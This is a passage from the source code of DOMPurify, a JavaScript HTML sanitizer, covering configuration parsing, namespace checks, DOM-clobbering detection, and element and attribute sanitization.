'text/html';\n let transformCaseFunc = null;\n /* Keep a reference to config to pass to hooks */\n let CONFIG = null;\n /* Ideally, do not touch anything below this line */\n /* ______________________________________________ */\n const formElement = document.createElement('form');\n const isRegexOrFunction = function isRegexOrFunction(testValue) {\n return testValue instanceof RegExp || testValue instanceof Function;\n };\n /**\n * _parseConfig\n *\n * @param cfg optional config literal\n */\n // eslint-disable-next-line complexity\n const _parseConfig = function _parseConfig() {\n let cfg = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : {};\n if (CONFIG && CONFIG === cfg) {\n return;\n }\n /* Shield configuration object from tampering */\n if (!cfg || typeof cfg !== 'object') {\n cfg = {};\n }\n /* Shield configuration object from prototype pollution */\n cfg = clone(cfg);\n PARSER_MEDIA_TYPE =\n // eslint-disable-next-line unicorn/prefer-includes\n SUPPORTED_PARSER_MEDIA_TYPES.indexOf(cfg.PARSER_MEDIA_TYPE) === -1 ? DEFAULT_PARSER_MEDIA_TYPE : cfg.PARSER_MEDIA_TYPE;\n // HTML tags and attributes are not case-sensitive, converting to lowercase. Keeping XHTML as is.\n transformCaseFunc = PARSER_MEDIA_TYPE === 'application/xhtml+xml' ? stringToString : stringToLowerCase;\n /* Set configuration parameters */\n ALLOWED_TAGS = objectHasOwnProperty(cfg, 'ALLOWED_TAGS') ? addToSet({}, cfg.ALLOWED_TAGS, transformCaseFunc) : DEFAULT_ALLOWED_TAGS;\n ALLOWED_ATTR = objectHasOwnProperty(cfg, 'ALLOWED_ATTR') ? addToSet({}, cfg.ALLOWED_ATTR, transformCaseFunc) : DEFAULT_ALLOWED_ATTR;\n ALLOWED_NAMESPACES = objectHasOwnProperty(cfg, 'ALLOWED_NAMESPACES') ? addToSet({}, cfg.ALLOWED_NAMESPACES, stringToString) : DEFAULT_ALLOWED_NAMESPACES;\n URI_SAFE_ATTRIBUTES = objectHasOwnProperty(cfg, 'ADD_URI_SAFE_ATTR') ? addToSet(clone(DEFAULT_URI_SAFE_ATTRIBUTES), cfg.ADD_URI_SAFE_ATTR, transformCaseFunc) : DEFAULT_URI_SAFE_ATTRIBUTES;\n DATA_URI_TAGS = objectHasOwnProperty(cfg, 'ADD_DATA_URI_TAGS') ? addToSet(clone(DEFAULT_DATA_URI_TAGS), cfg.ADD_DATA_URI_TAGS, transformCaseFunc) : DEFAULT_DATA_URI_TAGS;\n FORBID_CONTENTS = objectHasOwnProperty(cfg, 'FORBID_CONTENTS') ? addToSet({}, cfg.FORBID_CONTENTS, transformCaseFunc) : DEFAULT_FORBID_CONTENTS;\n FORBID_TAGS = objectHasOwnProperty(cfg, 'FORBID_TAGS') ? addToSet({}, cfg.FORBID_TAGS, transformCaseFunc) : clone({});\n FORBID_ATTR = objectHasOwnProperty(cfg, 'FORBID_ATTR') ? addToSet({}, cfg.FORBID_ATTR, transformCaseFunc) : clone({});\n USE_PROFILES = objectHasOwnProperty(cfg, 'USE_PROFILES') ? cfg.USE_PROFILES : false;\n ALLOW_ARIA_ATTR = cfg.ALLOW_ARIA_ATTR !== false; // Default true\n ALLOW_DATA_ATTR = cfg.ALLOW_DATA_ATTR !== false; // Default true\n ALLOW_UNKNOWN_PROTOCOLS = cfg.ALLOW_UNKNOWN_PROTOCOLS || false; // Default false\n ALLOW_SELF_CLOSE_IN_ATTR = cfg.ALLOW_SELF_CLOSE_IN_ATTR !== false; // Default true\n SAFE_FOR_TEMPLATES = cfg.SAFE_FOR_TEMPLATES || false; // Default false\n SAFE_FOR_XML = cfg.SAFE_FOR_XML !== false; // Default true\n WHOLE_DOCUMENT = cfg.WHOLE_DOCUMENT || false; // Default false\n RETURN_DOM = cfg.RETURN_DOM || false; // Default false\n RETURN_DOM_FRAGMENT = cfg.RETURN_DOM_FRAGMENT || false; // Default false\n RETURN_TRUSTED_TYPE = cfg.RETURN_TRUSTED_TYPE || false; // Default false\n FORCE_BODY = cfg.FORCE_BODY || false; // Default false\n SANITIZE_DOM = cfg.SANITIZE_DOM !== false; // Default true\n SANITIZE_NAMED_PROPS = cfg.SANITIZE_NAMED_PROPS || false; // Default false\n KEEP_CONTENT = cfg.KEEP_CONTENT !== false; // Default true\n IN_PLACE = cfg.IN_PLACE || false; // Default false\n IS_ALLOWED_URI$1 = cfg.ALLOWED_URI_REGEXP || IS_ALLOWED_URI;\n NAMESPACE = cfg.NAMESPACE || HTML_NAMESPACE;\n MATHML_TEXT_INTEGRATION_POINTS = cfg.MATHML_TEXT_INTEGRATION_POINTS || MATHML_TEXT_INTEGRATION_POINTS;\n HTML_INTEGRATION_POINTS = cfg.HTML_INTEGRATION_POINTS || HTML_INTEGRATION_POINTS;\n CUSTOM_ELEMENT_HANDLING = cfg.CUSTOM_ELEMENT_HANDLING || {};\n if (cfg.CUSTOM_ELEMENT_HANDLING && isRegexOrFunction(cfg.CUSTOM_ELEMENT_HANDLING.tagNameCheck)) {\n CUSTOM_ELEMENT_HANDLING.tagNameCheck = cfg.CUSTOM_ELEMENT_HANDLING.tagNameCheck;\n }\n if (cfg.CUSTOM_ELEMENT_HANDLING && isRegexOrFunction(cfg.CUSTOM_ELEMENT_HANDLING.attributeNameCheck)) {\n CUSTOM_ELEMENT_HANDLING.attributeNameCheck = cfg.CUSTOM_ELEMENT_HANDLING.attributeNameCheck;\n }\n if (cfg.CUSTOM_ELEMENT_HANDLING && typeof cfg.CUSTOM_ELEMENT_HANDLING.allowCustomizedBuiltInElements === 'boolean') {\n CUSTOM_ELEMENT_HANDLING.allowCustomizedBuiltInElements = cfg.CUSTOM_ELEMENT_HANDLING.allowCustomizedBuiltInElements;\n }\n if (SAFE_FOR_TEMPLATES) {\n ALLOW_DATA_ATTR = false;\n }\n if (RETURN_DOM_FRAGMENT) {\n RETURN_DOM = true;\n }\n /* Parse profile info */\n if (USE_PROFILES) {\n ALLOWED_TAGS = addToSet({}, text);\n ALLOWED_ATTR = [];\n if (USE_PROFILES.html === true) {\n addToSet(ALLOWED_TAGS, html$1);\n addToSet(ALLOWED_ATTR, html);\n }\n if (USE_PROFILES.svg === true) {\n addToSet(ALLOWED_TAGS, svg$1);\n addToSet(ALLOWED_ATTR, svg);\n addToSet(ALLOWED_ATTR, xml);\n }\n if (USE_PROFILES.svgFilters === true) {\n addToSet(ALLOWED_TAGS, svgFilters);\n addToSet(ALLOWED_ATTR, svg);\n addToSet(ALLOWED_ATTR, xml);\n }\n if (USE_PROFILES.mathMl === true) {\n addToSet(ALLOWED_TAGS, mathMl$1);\n addToSet(ALLOWED_ATTR, mathMl);\n addToSet(ALLOWED_ATTR, xml);\n }\n }\n /* Merge configuration parameters */\n if (cfg.ADD_TAGS) {\n if (ALLOWED_TAGS === DEFAULT_ALLOWED_TAGS) {\n ALLOWED_TAGS = clone(ALLOWED_TAGS);\n }\n addToSet(ALLOWED_TAGS, cfg.ADD_TAGS, transformCaseFunc);\n }\n if (cfg.ADD_ATTR) {\n if (ALLOWED_ATTR === DEFAULT_ALLOWED_ATTR) {\n ALLOWED_ATTR = clone(ALLOWED_ATTR);\n }\n addToSet(ALLOWED_ATTR, cfg.ADD_ATTR, transformCaseFunc);\n }\n if (cfg.ADD_URI_SAFE_ATTR) {\n addToSet(URI_SAFE_ATTRIBUTES, cfg.ADD_URI_SAFE_ATTR, transformCaseFunc);\n }\n if (cfg.FORBID_CONTENTS) {\n if (FORBID_CONTENTS === DEFAULT_FORBID_CONTENTS) {\n FORBID_CONTENTS = clone(FORBID_CONTENTS);\n }\n addToSet(FORBID_CONTENTS, cfg.FORBID_CONTENTS, transformCaseFunc);\n }\n /* Add #text in case KEEP_CONTENT is set to true */\n if (KEEP_CONTENT) {\n ALLOWED_TAGS['#text'] = true;\n }\n /* Add html, head and body to ALLOWED_TAGS in case WHOLE_DOCUMENT is true */\n if (WHOLE_DOCUMENT) {\n addToSet(ALLOWED_TAGS, ['html', 'head', 'body']);\n }\n /* Add tbody to ALLOWED_TAGS in case tables are permitted, see #286, #365 */\n if (ALLOWED_TAGS.table) {\n addToSet(ALLOWED_TAGS, ['tbody']);\n delete FORBID_TAGS.tbody;\n }\n if (cfg.TRUSTED_TYPES_POLICY) {\n if (typeof cfg.TRUSTED_TYPES_POLICY.createHTML !== 'function') {\n throw typeErrorCreate('TRUSTED_TYPES_POLICY configuration option must provide a \"createHTML\" hook.');\n }\n if (typeof cfg.TRUSTED_TYPES_POLICY.createScriptURL !== 'function') {\n throw typeErrorCreate('TRUSTED_TYPES_POLICY configuration option must provide a \"createScriptURL\" hook.');\n }\n // Overwrite existing TrustedTypes policy.\n trustedTypesPolicy = cfg.TRUSTED_TYPES_POLICY;\n // Sign local variables required by `sanitize`.\n emptyHTML = trustedTypesPolicy.createHTML('');\n } else {\n // Uninitialized policy, attempt to initialize the internal dompurify policy.\n if (trustedTypesPolicy === undefined) {\n trustedTypesPolicy = _createTrustedTypesPolicy(trustedTypes, currentScript);\n }\n // If creating the internal policy succeeded sign internal variables.\n if (trustedTypesPolicy !== null && typeof emptyHTML === 'string') {\n emptyHTML = trustedTypesPolicy.createHTML('');\n }\n }\n // Prevent further manipulation of configuration.\n // Not available in IE8, Safari 5, etc.\n if (freeze) {\n freeze(cfg);\n }\n CONFIG = cfg;\n };\n /* Keep track of all possible SVG and MathML tags\n * so that we can perform the namespace checks\n * correctly. */\n const ALL_SVG_TAGS = addToSet({}, [...svg$1, ...svgFilters, ...svgDisallowed]);\n const ALL_MATHML_TAGS = addToSet({}, [...mathMl$1, ...mathMlDisallowed]);\n /**\n * @param element a DOM element whose namespace is being checked\n * @returns Return false if the element has a\n * namespace that a spec-compliant parser would never\n * return. Return true otherwise.\n */\n const _checkValidNamespace = function _checkValidNamespace(element) {\n let parent = getParentNode(element);\n // In JSDOM, if we're inside shadow DOM, then parentNode\n // can be null. We just simulate parent in this case.\n if (!parent || !parent.tagName) {\n parent = {\n namespaceURI: NAMESPACE,\n tagName: 'template'\n };\n }\n const tagName = stringToLowerCase(element.tagName);\n const parentTagName = stringToLowerCase(parent.tagName);\n if (!ALLOWED_NAMESPACES[element.namespaceURI]) {\n return false;\n }\n if (element.namespaceURI === SVG_NAMESPACE) {\n // The only way to switch from HTML namespace to SVG\n // is via <svg>. If it happens via any other tag, then\n // it should be killed.\n if (parent.namespaceURI === HTML_NAMESPACE) {\n return tagName === 'svg';\n }\n // The only way to switch from MathML to SVG is via`\n // svg if parent is either <annotation-xml> or MathML\n // text integration points.\n if (parent.namespaceURI === MATHML_NAMESPACE) {\n return tagName === 'svg' && (parentTagName === 'annotation-xml' || MATHML_TEXT_INTEGRATION_POINTS[parentTagName]);\n }\n // We only allow elements that are defined in SVG\n // spec. All others are disallowed in SVG namespace.\n return Boolean(ALL_SVG_TAGS[tagName]);\n }\n if (element.namespaceURI === MATHML_NAMESPACE) {\n // The only way to switch from HTML namespace to MathML\n // is via <math>. If it happens via any other tag, then\n // it should be killed.\n if (parent.namespaceURI === HTML_NAMESPACE) {\n return tagName === 'math';\n }\n // The only way to switch from SVG to MathML is via\n // <math> and HTML integration points\n if (parent.namespaceURI === SVG_NAMESPACE) {\n return tagName === 'math' && HTML_INTEGRATION_POINTS[parentTagName];\n }\n // We only allow elements that are defined in MathML\n // spec. All others are disallowed in MathML namespace.\n return Boolean(ALL_MATHML_TAGS[tagName]);\n }\n if (element.namespaceURI === HTML_NAMESPACE) {\n // The only way to switch from SVG to HTML is via\n // HTML integration points, and from MathML to HTML\n // is via MathML text integration points\n if (parent.namespaceURI === SVG_NAMESPACE && !HTML_INTEGRATION_POINTS[parentTagName]) {\n return false;\n }\n if (parent.namespaceURI === MATHML_NAMESPACE && !MATHML_TEXT_INTEGRATION_POINTS[parentTagName]) {\n return false;\n }\n // We disallow tags that are specific for MathML\n // or SVG and should never appear in HTML namespace\n return !ALL_MATHML_TAGS[tagName] && (COMMON_SVG_AND_HTML_ELEMENTS[tagName] || !ALL_SVG_TAGS[tagName]);\n }\n // For XHTML and XML documents that support custom namespaces\n if (PARSER_MEDIA_TYPE === 'application/xhtml+xml' && ALLOWED_NAMESPACES[element.namespaceURI]) {\n return true;\n }\n // The code should never reach this place (this means\n // that the element somehow got namespace that is not\n // HTML, SVG, MathML or allowed via ALLOWED_NAMESPACES).\n // Return false just in case.\n return false;\n };\n /**\n * _forceRemove\n *\n * @param node a DOM node\n */\n const _forceRemove = function _forceRemove(node) {\n arrayPush(DOMPurify.removed, {\n element: node\n });\n try {\n // eslint-disable-next-line unicorn/prefer-dom-node-remove\n getParentNode(node).removeChild(node);\n } catch (_) {\n remove(node);\n }\n };\n /**\n * _removeAttribute\n *\n * @param name an Attribute name\n * @param element a DOM node\n */\n const _removeAttribute = function _removeAttribute(name, element) {\n try {\n arrayPush(DOMPurify.removed, {\n attribute: element.getAttributeNode(name),\n from: element\n });\n } catch (_) {\n arrayPush(DOMPurify.removed, {\n attribute: null,\n from: element\n });\n }\n element.removeAttribute(name);\n // We void attribute values for unremovable \"is\" attributes\n if (name === 'is') {\n if (RETURN_DOM || RETURN_DOM_FRAGMENT) {\n try {\n _forceRemove(element);\n } catch (_) {}\n } else {\n try {\n element.setAttribute(name, '');\n } catch (_) {}\n }\n }\n };\n /**\n * _initDocument\n *\n * @param dirty - a string of dirty markup\n * @return a DOM, filled with the dirty markup\n */\n const _initDocument = function _initDocument(dirty) {\n /* Create a HTML document */\n let doc = null;\n let leadingWhitespace = null;\n if (FORCE_BODY) {\n dirty = '<remove></remove>' + dirty;\n } else {\n /* If FORCE_BODY isn't used, leading whitespace needs to be preserved manually */\n const matches = stringMatch(dirty, /^[\\r\\n\\t ]+/);\n leadingWhitespace = matches && matches[0];\n }\n if (PARSER_MEDIA_TYPE === 'application/xhtml+xml' && NAMESPACE === HTML_NAMESPACE) {\n // Root of XHTML doc must contain xmlns declaration (see https://www.w3.org/TR/xhtml1/normative.html#strict)\n dirty = '<html xmlns=\"http://www.w3.org/1999/xhtml\"><head></head><body>' + dirty + '</body></html>';\n }\n const dirtyPayload = trustedTypesPolicy ? trustedTypesPolicy.createHTML(dirty) : dirty;\n /*\n * Use the DOMParser API by default, fallback later if needs be\n * DOMParser not work for svg when has multiple root element.\n */\n if (NAMESPACE === HTML_NAMESPACE) {\n try {\n doc = new DOMParser().parseFromString(dirtyPayload, PARSER_MEDIA_TYPE);\n } catch (_) {}\n }\n /* Use createHTMLDocument in case DOMParser is not available */\n if (!doc || !doc.documentElement) {\n doc = implementation.createDocument(NAMESPACE, 'template', null);\n try {\n doc.documentElement.innerHTML = IS_EMPTY_INPUT ? emptyHTML : dirtyPayload;\n } catch (_) {\n // Syntax error if dirtyPayload is invalid xml\n }\n }\n const body = doc.body || doc.documentElement;\n if (dirty && leadingWhitespace) {\n body.insertBefore(document.createTextNode(leadingWhitespace), body.childNodes[0] || null);\n }\n /* Work on whole document or just its body */\n if (NAMESPACE === HTML_NAMESPACE) {\n return getElementsByTagName.call(doc, WHOLE_DOCUMENT ? 'html' : 'body')[0];\n }\n return WHOLE_DOCUMENT ? doc.documentElement : body;\n };\n /**\n * Creates a NodeIterator object that you can use to traverse filtered lists of nodes or elements in a document.\n *\n * @param root The root element or node to start traversing on.\n * @return The created NodeIterator\n */\n const _createNodeIterator = function _createNodeIterator(root) {\n return createNodeIterator.call(root.ownerDocument || root, root,\n // eslint-disable-next-line no-bitwise\n NodeFilter.SHOW_ELEMENT | NodeFilter.SHOW_COMMENT | NodeFilter.SHOW_TEXT | NodeFilter.SHOW_PROCESSING_INSTRUCTION | NodeFilter.SHOW_CDATA_SECTION, null);\n };\n /**\n * _isClobbered\n *\n * @param element element to check for clobbering attacks\n * @return true if clobbered, false if safe\n */\n const _isClobbered = function _isClobbered(element) {\n return element instanceof HTMLFormElement && (typeof element.nodeName !== 'string' || typeof element.textContent !== 'string' || typeof element.removeChild !== 'function' || !(element.attributes instanceof NamedNodeMap) || typeof element.removeAttribute !== 'function' || typeof element.setAttribute !== 'function' || typeof element.namespaceURI !== 'string' || typeof element.insertBefore !== 'function' || typeof element.hasChildNodes !== 'function');\n };\n /**\n * Checks whether the given object is a DOM node.\n *\n * @param value object to check whether it's a DOM node\n * @return true is object is a DOM node\n */\n const _isNode = function _isNode(value) {\n return typeof Node === 'function' && value instanceof Node;\n };\n function _executeHooks(hooks, currentNode, data) {\n arrayForEach(hooks, hook => {\n hook.call(DOMPurify, currentNode, data, CONFIG);\n });\n }\n /**\n * _sanitizeElements\n *\n * @protect nodeName\n * @protect textContent\n * @protect removeChild\n * @param currentNode to check for permission to exist\n * @return true if node was killed, false if left alive\n */\n const _sanitizeElements = function _sanitizeElements(currentNode) {\n let content = null;\n /* Execute a hook if present */\n _executeHooks(hooks.beforeSanitizeElements, currentNode, null);\n /* Check if element is clobbered or can clobber */\n if (_isClobbered(currentNode)) {\n _forceRemove(currentNode);\n return true;\n }\n /* Now let's check the element's type and name */\n const tagName = transformCaseFunc(currentNode.nodeName);\n /* Execute a hook if present */\n _executeHooks(hooks.uponSanitizeElement, currentNode, {\n tagName,\n allowedTags: ALLOWED_TAGS\n });\n /* Detect mXSS attempts abusing namespace confusion */\n if (SAFE_FOR_XML && currentNode.hasChildNodes() && !_isNode(currentNode.firstElementChild) && regExpTest(/<[/\\w!]/g, currentNode.innerHTML) && regExpTest(/<[/\\w!]/g, currentNode.textContent)) {\n _forceRemove(currentNode);\n return true;\n }\n /* Remove any occurrence of processing instructions */\n if (currentNode.nodeType === NODE_TYPE.progressingInstruction) {\n _forceRemove(currentNode);\n return true;\n }\n /* Remove any kind of possibly harmful comments */\n if (SAFE_FOR_XML && currentNode.nodeType === NODE_TYPE.comment && regExpTest(/<[/\\w]/g, currentNode.data)) {\n _forceRemove(currentNode);\n return true;\n }\n /* Remove element if anything forbids its presence */\n if (!ALLOWED_TAGS[tagName] || FORBID_TAGS[tagName]) {\n /* Check if we have a custom element to handle */\n if (!FORBID_TAGS[tagName] && _isBasicCustomElement(tagName)) {\n if (CUSTOM_ELEMENT_HANDLING.tagNameCheck instanceof RegExp && regExpTest(CUSTOM_ELEMENT_HANDLING.tagNameCheck, tagName)) {\n return false;\n }\n if (CUSTOM_ELEMENT_HANDLING.tagNameCheck instanceof Function && CUSTOM_ELEMENT_HANDLING.tagNameCheck(tagName)) {\n return false;\n }\n }\n /* Keep content except for bad-listed elements */\n if (KEEP_CONTENT && !FORBID_CONTENTS[tagName]) {\n const parentNode = getParentNode(currentNode) || currentNode.parentNode;\n const childNodes = getChildNodes(currentNode) || currentNode.childNodes;\n if (childNodes && parentNode) {\n const childCount = childNodes.length;\n for (let i = childCount - 1; i >= 0; --i) {\n const childClone = cloneNode(childNodes[i], true);\n childClone.__removalCount = (currentNode.__removalCount || 0) + 1;\n parentNode.insertBefore(childClone, getNextSibling(currentNode));\n }\n }\n }\n _forceRemove(currentNode);\n return true;\n }\n /* Check whether element has a valid namespace */\n if (currentNode instanceof Element && !_checkValidNamespace(currentNode)) {\n _forceRemove(currentNode);\n return true;\n }\n /* Make sure that older browsers don't get fallback-tag mXSS */\n if ((tagName === 'noscript' || tagName === 'noembed' || tagName === 'noframes') && regExpTest(/<\\/no(script|embed|frames)/i, currentNode.innerHTML)) {\n _forceRemove(currentNode);\n return true;\n }\n /* Sanitize element content to be template-safe */\n if (SAFE_FOR_TEMPLATES && currentNode.nodeType === NODE_TYPE.text) {\n /* Get the element's text content */\n content = currentNode.textContent;\n arrayForEach([MUSTACHE_EXPR, ERB_EXPR, TMPLIT_EXPR], expr => {\n content = stringReplace(content, expr, ' ');\n });\n if (currentNode.textContent !== content) {\n arrayPush(DOMPurify.removed, {\n element: currentNode.cloneNode()\n });\n currentNode.textContent = content;\n }\n }\n /* Execute a hook if present */\n _executeHooks(hooks.afterSanitizeElements, currentNode, null);\n return false;\n };\n /**\n * _isValidAttribute\n *\n * @param lcTag Lowercase tag name of containing element.\n * @param lcName Lowercase attribute name.\n * @param value Attribute value.\n * @return Returns true if `value` is valid, otherwise false.\n */\n // eslint-disable-next-line complexity\n const _isValidAttribute = function _isValidAttribute(lcTag, lcName, value) {\n /* Make sure attribute cannot clobber */\n if (SANITIZE_DOM && (lcName === 'id' || lcName === 'name') && (value in document || value in formElement)) {\n return false;\n }\n /* Allow valid data-* attributes: At least one character after \"-\"\n (https://html.spec.whatwg.org/multipage/dom.html#embedding-custom-non-visible-data-with-the-data-*-attributes)\n XML-compatible (https://html.spec.whatwg.org/multipage/infrastructure.html#xml-compatible and http://www.w3.org/TR/xml/#d0e804)\n We don't need to check the value; it's always URI safe. */\n if (ALLOW_DATA_ATTR && !FORBID_ATTR[lcName] && regExpTest(DATA_ATTR, lcName)) ; else if (ALLOW_ARIA_ATTR && regExpTest(ARIA_ATTR, lcName)) ; else if (!ALLOWED_ATTR[lcName] || FORBID_ATTR[lcName]) {\n if (\n // First condition does a very basic check if a) it's basically a valid custom element tagname AND\n // b) if the tagName passes whatever the user has configured for CUSTOM_ELEMENT_HANDLING.tagNameCheck\n // and c) if the attribute name passes whatever the user has configured for CUSTOM_ELEMENT_HANDLING.attributeNameCheck\n _isBasicCustomElement(lcTag) && (CUSTOM_ELEMENT_HANDLING.tagNameCheck instanceof RegExp && regExpTest(CUSTOM_ELEMENT_HANDLING.tagNameCheck, lcTag) || CUSTOM_ELEMENT_HANDLING.tagNameCheck instanceof Function && CUSTOM_ELEMENT_HANDLING.tagNameCheck(lcTag)) && (CUSTOM_ELEMENT_HANDLING.attributeNameCheck instanceof RegExp && regExpTest(CUSTOM_ELEMENT_HANDLING.attributeNameCheck, lcName) || CUSTOM_ELEMENT_HANDLING.attributeNameCheck instanceof Function && CUSTOM_ELEMENT_HANDLING.attributeNameCheck(lcName)) ||\n // Alternative, second condition checks if it's an `is`-attribute, AND\n // the value passes whatever the user has configured for CUSTOM_ELEMENT_HANDLING.tagNameCheck\n lcName === 'is' && CUSTOM_ELEMENT_HANDLING.allowCustomizedBuiltInElements && (CUSTOM_ELEMENT_HANDLING.tagNameCheck instanceof RegExp && regExpTest(CUSTOM_ELEMENT_HANDLING.tagNameCheck, value) || CUSTOM_ELEMENT_HANDLING.tagNameCheck instanceof Function && CUSTOM_ELEMENT_HANDLING.tagNameCheck(value))) ; else {\n return false;\n }\n /* Check value is safe. First, is attr inert? If so, is safe */\n } else if (URI_SAFE_ATTRIBUTES[lcName]) ; else if (regExpTest(IS_ALLOWED_URI$1, stringReplace(value, ATTR_WHITESPACE, ''))) ; else if ((lcName === 'src' || lcName === 'xlink:href' || lcName === 'href') && lcTag !== 'script' && stringIndexOf(value, 'data:') === 0 && DATA_URI_TAGS[lcTag]) ; else if (ALLOW_UNKNOWN_PROTOCOLS && !regExpTest(IS_SCRIPT_OR_DATA, stringReplace(value, ATTR_WHITESPACE, ''))) ; else if (value) {\n return false;\n } else ;\n return true;\n };\n /**\n * _isBasicCustomElement\n * checks if at least one dash is included in tagName, and it's not the first char\n * for more sophisticated checking see https://github.com/sindresorhus/validate-element-name\n *\n * @param tagName name of the tag of the node to sanitize\n * @returns Returns true if the tag name meets the basic criteria for a custom element, otherwise false.\n */\n const _isBasicCustomElement = function _isBasicCustomElement(tagName) {\n return tagName !== 'annotation-xml' && stringMatch(tagName, CUSTOM_ELEMENT);\n };\n /**\n * _sanitizeAttributes\n *\n * @protect attributes\n * @protect nodeName\n * @protect removeAttribute\n * @protect setAttribute\n *\n * @param currentNode to sanitize\n */\n const _sanitizeAttributes = function _sanitizeAttributes(currentNode) {\n /* Execute a hook if present */\n _executeHooks(hooks.beforeSanitizeAttributes, currentNode, null);\n const {\n attributes\n } = currentNode;\n /* Check if we have attributes; if not we might have a text node */\n if (!attributes || _isClobbered(currentNode)) {\n return;\n }\n const hookEvent = {\n attrName: '',\n attrValue: '',\n keepAttr: true,\n allowedAttributes: ALLOWED_ATTR,\n forceKeepAttr: undefined\n };\n let l = attributes.length;\n /* Go backwards over all attributes; safely remove bad ones */\n while (l--) {\n const attr = attributes[l];\n const {\n name,\n namespaceURI,\n value: attrValue\n } = attr;\n const lcName = transformCaseFunc(name);\n const initValue = attrValue;\n let value = name === 'value' ? initValue : stringTrim(initValue);\n /* Execute a hook if present */\n hookEvent.attrName = lcName;\n hookEvent.attrValue = value;\n hookEvent.keepAttr = true;\n hookEvent.forceKeepAttr = undefined; // Allows developers to see this is a property they can set\n _executeHooks(hooks.uponSanitizeAttribute, currentNode, hookEvent);\n value = hookEvent.attrValue;\n /* Full DOM Clobbering protection via namespace isolation,\n * Prefix id and name attributes with `user-content-`\n */\n if (SANITIZE_NAMED_PROPS && (lcName === 'id' || lcName === 'name')) {\n // Remove the attribute with this value\n _removeAttribute(name, currentNode);\n // Prefix the value and later re-create the attribute with the sanitized value\n value = SANITIZE_NAMED_PROPS_PREFIX + value;\n }\n /* Work around a security issue with comments inside attributes */\n if (SAFE_FOR_XML && regExpTest(/((--!?|])>)|<\\/(style|title)/i, value)) {\n _removeAttribute(name, currentNode);\n continue;\n }\n /* Did the hooks approve of the attribute? */\n if (hookEvent.forceKeepAttr) {\n continue;\n }\n /* Did the hooks approve of the attribute? */\n if (!hookEvent.keepAttr) {\n _removeAttribute(name, currentNode);\n continue;\n }\n /* Work around a security issue in jQuery 3.0 */\n if (!ALLOW_SELF_CLOSE_IN_ATTR && regExpTest(/\\/>/i, value)) {\n _removeAttribute(name, currentNode);\n continue;\n }\n /* Sanitize attribute content to be template-safe */\n if (SAFE_FOR_TEMPLATES) {\n arrayForEach([MUSTACHE_EXPR, ERB_EXPR, TMPLIT_EXPR], expr => {\n value = stringReplace(value, expr, ' ');\n });\n }\n /* Is `value` valid for this attribute? */\n const lcTag = transformCaseFunc(currentNode.nodeName);\n if (!_isValidAttribute(lcTag, lcName, value)) {\n _removeAttribute(name, currentNode);\n continue;\n }\n /* Handle attributes that require Trusted Types */\n if (trustedTypesPolicy && typeof trustedTypes === 'object' && typeof trustedTypes.getAttributeType === 'function') {\n if (namespaceURI) ; else {\n switch (trustedTypes.getAttributeType(lcTag, lcName)) {\n case 'TrustedHTML':\n {\n value = trustedTypesPolicy.createHTML(value);\n break;\n }\n case 'TrustedScriptURL':\n {\n value = trustedTypesPolicy.createScriptURL(value);\n break;\n }\n }\n }\n }\n /* Handle invalid data-* attribute set by try-catching it */\n if (value !== initValue) {\n try {\n if (namespaceURI) {\n currentNode.setAttributeNS(namespaceURI, name, value);\n } else {\n /* Fallback to setAttribute() for browser-unrecognized namespaces e.g. \"x-schema\". */\n currentNode.setAttribute(name, value);\n }\n if (_isClobbered(currentNode)) {\n _forceRemove(currentNode);\n } else {\n arrayPop(DOMPurify.removed);\n }\n } catch (_) {\n _removeAttribute(name, currentNode);\n }\n }\n }\n /* Execute a hook if present */\n _executeHooks(hooks.afterSanitizeAttributes, currentNode, null);\n };\n /**\n * _sanitizeShadowDOM\n *\n * @param fragment to iterate over recursively\n */\n const _sanitizeShadowDOM = function _sanitizeShadowDOM(fragment) {\n let shadowNode = null;\n const shadowIterator = _createNodeIterator(fragment);\n /* Execute a hook if present */\n _executeHooks(hooks.beforeSanitizeShadowDOM, fragment, null);\n while (shadowNode = shadowIterator.nextNode()) {\n /* Execute a hook if present */\n _executeHooks(hooks.uponSanitizeShadowNode, shadowNode, null);\n /* Sanitize tags and elements */\n _sanitizeElements(shadowNode);\n /* Check attributes next */\n _sanitizeAttributes(shadowNode);\n /* Deep shadow DOM detected */\n if (shadowNode.content instanceof DocumentFragment) {\n _sanitizeShadowDOM(shadowNode.content);\n }\n }\n /* Execute a hook if present */\n _executeHooks(hooks.afterSanitizeShadowDOM, fragment, null);\n };\n // eslint-disable-next-line complexity\n DOMPurify.sanitize = function (dirty) {\n let cfg = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {};\n let body = null;\n let importedNode = null;\n let currentNode = null;\n let returnNode = null;\n /* Make sure we have a string to sanitize.\n DO NOT return early, as this will return the wrong type if\n the user has requested a DOM object rather than a string */\n IS_EMPTY_INPUT = !dirty;\n if (IS_EMPTY_INPUT) {\n dirty = '<!-->';\n }\n /* Stringify, in case dirty is an object */\n if (typeof dirty !== 'string' && !_isNode(dirty)) {\n if (typeof dirty.toString === 'function') {\n dirty = dirty.toString();\n if (typeof dirty !== 'string') {\n throw typeErrorCreate('dirty is not a string, aborting');\n }\n } else {\n throw typeErrorCreate('toString is not a function');\n }\n }\n /* Return dirty HTML if DOMPurify cannot run */\n if (!DOMPurify.isSupported) {\n return dirty;\n }\n /* Assign config vars */\n if (!SET_CONFIG) {\n _parseConfig(cfg);\n }\n /* Clean up removed elements */\n DOMPurify.removed = [];\n /* Check if dirty is correctly typed for IN_PLACE */\n if (typeof dirty === 'string') {\n IN_PLACE = false;\n }\n if (IN_PLACE) {\n /* Do some early pre-sanitization to avoid unsafe root nodes */\n if (dirty.nodeName) {\n const tagName = transformCaseFunc(dirty.nodeName);\n if (!ALLOWED_TAGS[tagName] || FORBID_TAGS[tagName]) {\n throw typeErrorCreate('root node is forbidden and cannot be sanitized in-place');\n }\n }\n } else if (dirty instanceof Node) {\n /* If dirty is a DOM element, append to an empty document to avoid\n elements being stripped by the parser */\n body = _initDocument('<!---->');\n importedNode = body.ownerDocument.importNode(dirty, true);\n if (importedNode.nodeType === NODE_TYPE.element && importedNode.nodeName === 'BODY') {\n /* Node is already a body, use as is */\n body = importedNode;\n } else if (importedNode.nodeName === 'HTML') {\n body = importedNode;\n } else {\n // eslint-disable-next-line unicorn/prefer-dom-node-append\n body.appendChild(importedNode);\n }\n } else {\n /* Exit directly if we have nothing to do */\n if (!RETURN_DOM && !SAFE_FOR_TEMPLATES && !WHOLE_DOCUMENT &&\n // eslint-disable-next-line unicorn/prefer-includes\n dirty.indexOf('<') === -1) {\n return trustedTypesPolicy && RETURN_TRUSTED_TYPE ? trustedTypesPolicy.createHTML(dirty) : 